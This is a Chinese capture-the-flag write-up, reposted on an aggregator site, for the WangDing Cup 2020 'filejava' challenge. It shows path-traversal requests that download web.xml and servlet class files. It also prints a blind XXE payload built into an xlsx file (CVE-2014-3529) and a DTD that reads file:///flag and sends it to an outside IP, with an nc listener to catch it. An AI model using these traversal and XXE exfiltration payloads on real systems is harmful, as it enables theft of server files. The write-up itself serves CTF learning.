首页 > 编程语言 > 详细

[网鼎杯 2020 青龙组]filejava

时间:2020-05-18 19:59:20      阅读:195      评论:0      收藏:0      [点我收藏+]

知识点

  • web.xml文件泄露
  • blind xxe

技术分享图片

 

随便上传一个文件,然后点击下载,抓包

 

技术分享图片

 

看到有filename,猜测可能存在目录穿越以及任意文件下载

尝试

filename=../

  技术分享图片

 

看到有一个路径,里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

技术分享图片

 

这里的读取我是又抓了一次包,把上面repeater的报文复制到proxy,再Forward下载文件

其实不需要这么麻烦,上图右半部分已经给出了三个class文件的地址,下下来就行了

repeater中

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

技术分享图片

repeater重放就能发现有东西,重新点一次下载,将repeater的报文复制到proxy里,点击Forward,就可以下载到DownloadServlet.class文件

按照这个方法,依次下载web.xml中出现的DownloadServlet.class,ListFileServlet.class,UploadServlet.class等三个class文件

对这些class文件进行反编译,我用的jd-gui

代码太多,只贴关键的,UploadServlet.class

 

技术分享图片

 

这里是一个excel和xxe漏洞的结合,CVE-2014-3529

这里需要用到vps,因为是在buu上复现的,所以注册一个小号,开一台靶机就行

新建一个excel-123456.xlsx文件,后缀名改成zip。注意,修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题。接下来就是在里面的[Content_Types].xml的第二行加入

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://靶机内网ip,不是ssh连接的那个/file.dtd">
%remote;%int;%send;
]>

技术分享图片

 

然后在靶机的/var/www/html目录下新建一个file.dtd文件,内容为

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM ‘http://174.1.94.166:9999?p=%file;‘>">

然后就是监听

nc -lvvp 9999

紧接着上传excel-123456.xlsx文件,在靶机处接收到flag

 

技术分享图片

 

参考

https://www.gem-love.com/websecurity/2322.html

https://guokeya.github.io/post/nmxAW2K-f/

https://www.cnblogs.com/thespace/p/12400719.html

[网鼎杯 2020 青龙组]filejava

原文:https://www.cnblogs.com/mech/p/12912352.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!